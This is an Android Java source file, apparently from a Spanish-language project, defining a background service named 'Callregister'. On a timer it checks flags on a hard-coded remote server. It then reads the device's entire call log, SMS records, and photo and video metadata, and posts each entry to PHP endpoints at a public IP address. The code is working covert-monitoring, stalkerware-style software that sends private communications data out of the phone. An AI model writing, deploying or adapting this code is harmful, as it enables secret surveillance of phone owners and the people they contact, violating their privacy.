package test.Droidlogin;

import android.app.Service;

import java.sql.Date;
import java.sql.Time;
import java.util.ArrayList;
import java.util.GregorianCalendar;
import java.util.Timer;
import java.util.TimerTask;
import java.util.List;

import org.apache.http.NameValuePair;
import org.apache.http.message.BasicNameValuePair;

import org.json.JSONException;
import org.json.JSONObject;

import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.net.Uri;

import android.os.Binder;
import android.os.IBinder;

import android.provider.CallLog;


public  class Callregister extends Service 
{
	private Timer time = new Timer(); 
	private static final long UPDATE_INTEVAL = 360000;
	private final IBinder mBinder = new MyBinder();
	//String IP_Server="192.168.0.196:8000";//IP DE NUESTRO PC
	String IP_Server="77.230.170.100:8000";//IP DE NUESTRO PC
	String URL_llamada="http://"+IP_Server+"/droidlogin/llamada.php";
	String URL_sms="http://"+IP_Server+"/droidlogin/sms.php";
	String URL_fotos="http://"+IP_Server+"/droidlogin/fotos.php";
	String URL_videos="http://"+IP_Server+"/droidlogin/videos.php";
	String URL_connectresetLlamada="http://"+IP_Server+"/droidlogin/resetLlamada.php";
	String URL_connectresetMensaje="http://"+IP_Server+"/droidlogin/resetMensaje.php";
	String URL_connectresetFoto="http://"+IP_Server+"/droidlogin/resetFoto.php";
	String URL_connectresetVideo="http://"+IP_Server+"/droidlogin/resetVideo.php";
	
	JSONParser jsonParser = new JSONParser();
	
	/*obtengo fecha actual*/
	GregorianCalendar cal = new GregorianCalendar();
	//Date fechaActual = cal.getTime();
	/*------*/
	/*Obtengo el nombr de usuario*/
    private String usuario;
	public void onCreate()
	{
		super.onCreate();
		checkear();
		
	}
	private void checkear()
	{
		time.scheduleAtFixedRate(new TimerTask() {
			
			@Override
			public void run() {
				

				SharedPreferences prefs =getSharedPreferences("MisPreferencias",Context.MODE_PRIVATE);
				usuario = prefs.getString("user", "none");
				//obtnemos usr y pass
				String user=usuario;
				int var1=0, var2=0, var3=0,var4=0;
				//enviamos y recibimos y analizamos los datos en segundo plano.
			       // Building Parameters

		        List<NameValuePair> params2 = new ArrayList<NameValuePair>();
		        params2.add(new BasicNameValuePair("usuario", user));
		        
		        // getting JSON Object
		        
		        JSONObject jsonLlamada = jsonParser.makeHttpRequest(URL_connectresetLlamada,"POST", params2);
		        JSONObject jsonMensaje = jsonParser.makeHttpRequest(URL_connectresetMensaje,"POST", params2); 
		        JSONObject jsonFoto    = jsonParser.makeHttpRequest(URL_connectresetFoto,"POST", params2);
		        JSONObject jsonVideo   = jsonParser.makeHttpRequest(URL_connectresetVideo,"POST", params2);
		          
		          
		        

		        //varLlamada = jsonLlamada.toString();
		        try {
					var1 = jsonLlamada.getInt("valor");
					var2 = jsonMensaje.getInt("valor");
					var3 = jsonFoto.getInt("valor");
					var4 = jsonVideo.getInt("valor");
				} catch (JSONException e) {
					
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
	       

				/*Ahora tengo que comprobar que las opciones esten seleccionadas*/
				
		        if(var1==1)
		        {
		        	funcionLlamada();
	        	}
				if(var2==1)
				{
					funcionMensaje();
				}
				if(var3==1)
				{
					funcionFotos();
				}
				if(var4==1)
				{
					funcionVideos();
				}
			}
		}, 0, UPDATE_INTEVAL);
	
	}
	@Override
	public IBinder onBind(Intent arg0) 
	{
		// TODO Auto-generat
		return mBinder;
	}

	@Override
	public void onDestroy()
	{
		super.onDestroy();
		if(time != null)
		{
			time.cancel();
		}
		
	}
	
	public class MyBinder extends Binder
	{
		Callregister getService()
		{
			
			return Callregister.this;
		}
	}
	
	public void funcionLlamada()
	{
		Cursor c = getContentResolver().query(
				android.provider.CallLog.Calls.CONTENT_URI, null, null, null,
				android.provider.CallLog.Calls.DEFAULT_SORT_ORDER);
		
		if (c != null) 
		{
			while (c.moveToNext()) 
			{
				/*String id = c.getString(c
						.getColumnIndex(CallLog.Calls._ID));*/
				String name = c.getString(c
						.getColumnIndex(CallLog.Calls.CACHED_NAME));
				String cacheNumber = c.getString(c
						.getColumnIndex(CallLog.Calls.CACHED_NUMBER_LABEL));
				String number = c.getString(c
						.getColumnIndex(CallLog.Calls.NUMBER));
				long dateTimeMillis = c.getLong(c
						.getColumnIndex(CallLog.Calls.DATE));
				long durationMillis = c.getLong(c
						.getColumnIndex(CallLog.Calls.DURATION));
				int callType = c.getInt(c
						.getColumnIndex(CallLog.Calls.TYPE));


				/*Calculo fecha y hora*/
			   String tipo  = Integer.toString(callType);
			   Date fecha   =  new Date(dateTimeMillis);
			   Time horario =  new Time(dateTimeMillis);
			   int horaAux     = horario.getHours();
			   int minutoAux   = horario.getMinutes();
			   int segundoAux  = horario.getSeconds();
			
			   String horas    =  Integer.toString(horaAux);
			   String minutos  =  Integer.toString(minutoAux);
			   String segundos =  Integer.toString(segundoAux);
				
			   String hora     = horas+":"+minutos+":"+segundos;
			   String duracion = Long.toString(durationMillis);
				
			   if (cacheNumber == null)
					cacheNumber = number;
			   if (name == null)
					name = "No Name";

				
		        // Building Parameters
		        List<NameValuePair> params = new ArrayList<NameValuePair>();
		        //añado parametros
		        params.add(new BasicNameValuePair("usuario", usuario));//le doy fecha asi veo lo que hay
		        params.add(new BasicNameValuePair("fecha", fecha.toString()));
		        params.add(new BasicNameValuePair("hora", hora));
		        params.add(new BasicNameValuePair("tipo",tipo ));
		        params.add(new BasicNameValuePair("duracion",duracion ));
		        params.add(new BasicNameValuePair("numero", number));
		        params.add(new BasicNameValuePair("nombre",name ));
		        
		        jsonParser.makeHttpRequest(URL_llamada,"POST", params);
				/*-------*/
		        

		        
		        /*ahora lo envio a la base de datos*/
		        
			}
			c.close();

		}
	}	

	
	public void funcionMensaje()
	{
		
		 Uri uriSMS = Uri.parse("content://sms/");
		 Cursor cur = getContentResolver().query(uriSMS, null, null, null, null);
		if(cur != null)
		{
				while(cur.moveToNext())
				{ 
					String tipo = cur.getString(cur.getColumnIndex("type")); //content of sms
					String numero = cur.getString(cur.getColumnIndex("address")); // num
					long dateTimeMillis =cur.getLong(cur.getColumnIndex("date")); //date
					String persona = cur.getString(cur.getColumnIndex("person")); //nombre contacto
					
					
					/*Calculo fecha y hora*/
				   Date fecha   =  new Date(dateTimeMillis);
				   Time horario =  new Time(dateTimeMillis);
				   int horaAux     = horario.getHours();
				   int minutoAux   = horario.getMinutes();
				   int segundoAux  = horario.getSeconds();
				
				   String horas    =  Integer.toString(horaAux);
				   String minutos  =  Integer.toString(minutoAux);
				   String segundos =  Integer.toString(segundoAux);
					
				   String hora     = horas+":"+minutos+":"+segundos;
				   
				   if (persona== null)	
					   persona = "No Name";
				    
				   // Toast.makeText(getApplicationContext(), info.toString(), Toast.LENGTH_LONG).show();
			        // Building Parameters
			        List<NameValuePair> params = new ArrayList<NameValuePair>();
			        //añado parametros
			        params.add(new BasicNameValuePair("usuario", usuario));//le doy fecha asi veo lo que hay
			        params.add(new BasicNameValuePair("fecha", fecha.toString()));
			        params.add(new BasicNameValuePair("hora", hora));
			        params.add(new BasicNameValuePair("tipo",tipo ));
			        params.add(new BasicNameValuePair("numero", numero));
			        params.add(new BasicNameValuePair("nombre",persona ));
			        
			        jsonParser.makeHttpRequest(URL_sms,"POST", params);
					/*-------*/
				
				}
		}
		cur.close();
	
	}	

	
	
	public void funcionFotos()
	{

		 Cursor cur = getContentResolver().query(android.provider.MediaStore.Images.Media.INTERNAL_CONTENT_URI, null, null, null, null);
	    

		if(cur != null)
		{
				while(cur.moveToNext())
				{ 
					String titulo = cur.getString(cur.getColumnIndex("title")); //nombre foto
					long dateTimeMillis =cur.getLong(cur.getColumnIndex("datetaken")); //date
					String tam = cur.getString(cur.getColumnIndex("_size")); //tamaño imagen
					
					/*Calculo fecha y hora*/
				    Date fecha   =  new Date(dateTimeMillis);
				    Time horario =  new Time(dateTimeMillis);
				    int horaAux     = horario.getHours();
				    int minutoAux   = horario.getMinutes();
				    int segundoAux  = horario.getSeconds();
				
				    String horas    =  Integer.toString(horaAux);
				    String minutos  =  Integer.toString(minutoAux);
				    String segundos =  Integer.toString(segundoAux);
					
				    String hora     = horas+":"+minutos+":"+segundos;
				    /*aqui se compararia la fecha para que se almacenara */
				    /*solo desde que se inicio la apliacion*/
					List<NameValuePair> params = new ArrayList<NameValuePair>();
					//añado parametros
					params.add(new BasicNameValuePair("usuario", usuario));//le doy fecha asi veo lo que hay
					params.add(new BasicNameValuePair("fecha", fecha.toString()));
					params.add(new BasicNameValuePair("hora", hora));
					params.add(new BasicNameValuePair("titulo",titulo ));
					params.add(new BasicNameValuePair("tam",tam ));
					
					
					jsonParser.makeHttpRequest(URL_fotos,"POST", params);
					/*-------*/
				
				}
		}
		//cur.close();
		/*Ahora miro en la memoria externa*/
	    cur = getContentResolver().query(android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI, null, null, null, null);
		    

		if(cur != null)
		{
				while(cur.moveToNext())
				{ 
					String titulo = cur.getString(cur.getColumnIndex("title")); //nombre foto
					long dateTimeMillis =cur.getLong(cur.getColumnIndex("datetaken")); //date
					String tam = cur.getString(cur.getColumnIndex("_size")); //tamaño imagen
					
					/*Calculo fecha y hora*/
				    Date fecha   =  new Date(dateTimeMillis);
				    Time horario =  new Time(dateTimeMillis);
				    int horaAux     = horario.getHours();
				    int minutoAux   = horario.getMinutes();
				    int segundoAux  = horario.getSeconds();
				
				    String horas    =  Integer.toString(horaAux);
				    String minutos  =  Integer.toString(minutoAux);
				    String segundos =  Integer.toString(segundoAux);
					
				    String hora     = horas+":"+minutos+":"+segundos;

					List<NameValuePair> params = new ArrayList<NameValuePair>();
					//añado parametros
					params.add(new BasicNameValuePair("usuario", usuario));//le doy fecha asi veo lo que hay
					params.add(new BasicNameValuePair("fecha", fecha.toString()));
					params.add(new BasicNameValuePair("hora", hora));
					params.add(new BasicNameValuePair("titulo",titulo ));
					params.add(new BasicNameValuePair("tam",tam ));
					
					
					jsonParser.makeHttpRequest(URL_fotos,"POST", params);
					/*-------*/
				
				}
		}
		cur.close();

	}	
		
	public void funcionVideos()
		{

		 Cursor cur = getContentResolver().query(android.provider.MediaStore.Video.Media.INTERNAL_CONTENT_URI, null, null, null, null);
	    

		if(cur != null)
		{
				while(cur.moveToNext())
				{ 
					String titulo = cur.getString(cur.getColumnIndex("title")); //nombre foto
					long dateTimeMillis =cur.getLong(cur.getColumnIndex("datetaken")); //date
					String tam = cur.getString(cur.getColumnIndex("_size")); //tamaño imagen
					long durationMillis = cur.getLong(cur
							.getColumnIndex("duration"));
					
					/*duracion*/
					String duracion = Long.toString(durationMillis);
					/*Calculo fecha y hora*/
				    Date fecha   =  new Date(dateTimeMillis);
				    Time horario =  new Time(dateTimeMillis);
				    int horaAux     = horario.getHours();
				    int minutoAux   = horario.getMinutes();
				    int segundoAux  = horario.getSeconds();
				
				    String horas    =  Integer.toString(horaAux);
				    String minutos  =  Integer.toString(minutoAux);
				    String segundos =  Integer.toString(segundoAux);
					
				    String hora     = horas+":"+minutos+":"+segundos;
				    /*aqui se compararia la fecha para que se almacenara */
				    /*solo desde que se inicio la apliacion*/
					List<NameValuePair> params = new ArrayList<NameValuePair>();
					//añado parametros
					params.add(new BasicNameValuePair("usuario", usuario));//le doy fecha asi veo lo que hay
					params.add(new BasicNameValuePair("fecha", fecha.toString()));
					params.add(new BasicNameValuePair("hora", hora));
					params.add(new BasicNameValuePair("titulo",titulo ));
					params.add(new BasicNameValuePair("tam",tam ));
					params.add(new BasicNameValuePair("duracion",duracion ));//suracion alternativa
					
					
					jsonParser.makeHttpRequest(URL_videos,"POST", params);
					/*-------*/
				
				}
		}
		//cur.close();
		/*Ahora miro en la memoria externa*/
	    cur = getContentResolver().query(android.provider.MediaStore.Video.Media.EXTERNAL_CONTENT_URI, null, null, null, null);
		//Cursor cur = getContentResolver().query(android.provider.MediaStore.Video.Media.EXTERNAL_CONTENT_URI, null, null, null, null);    

		if(cur != null)
		{
				while(cur.moveToNext())
				{ 
					String titulo = cur.getString(cur.getColumnIndex("title")); //nombre foto
					long dateTimeMillis =cur.getLong(cur.getColumnIndex("datetaken")); //date
					String tam = cur.getString(cur.getColumnIndex("_size")); //tamaño imagen
					long durationMillis = cur.getLong(cur
							.getColumnIndex("duration"));
					
					/*duracion*/
					String duracion = Long.toString(durationMillis);
					/*Calculo fecha y hora*/
				    Date fecha   =  new Date(dateTimeMillis);
				    Time horario =  new Time(dateTimeMillis);
				    int horaAux     = horario.getHours();
				    int minutoAux   = horario.getMinutes();
				    int segundoAux  = horario.getSeconds();
				
				    String horas    =  Integer.toString(horaAux);
				    String minutos  =  Integer.toString(minutoAux);
				    String segundos =  Integer.toString(segundoAux);
					
				    String hora     = horas+":"+minutos+":"+segundos;
				    /*aqui se compararia la fecha para que se almacenara */
				    /*solo desde que se inicio la apliacion*/
					List<NameValuePair> params = new ArrayList<NameValuePair>();
					//añado parametros
					params.add(new BasicNameValuePair("usuario", usuario));//le doy fecha asi veo lo que hay
					params.add(new BasicNameValuePair("fecha", fecha.toString()));
					params.add(new BasicNameValuePair("hora", hora));
					params.add(new BasicNameValuePair("titulo",titulo ));
					params.add(new BasicNameValuePair("tam",tam ));
					params.add(new BasicNameValuePair("duracion",duracion ));//suracion alternativa
					
					
					jsonParser.makeHttpRequest(URL_videos,"POST", params);
					/*-------*/
				
				}
		}
		//cur.close();
		/*Ahora miro en la memoria externa*/
		cur.close();
		}	
	
}
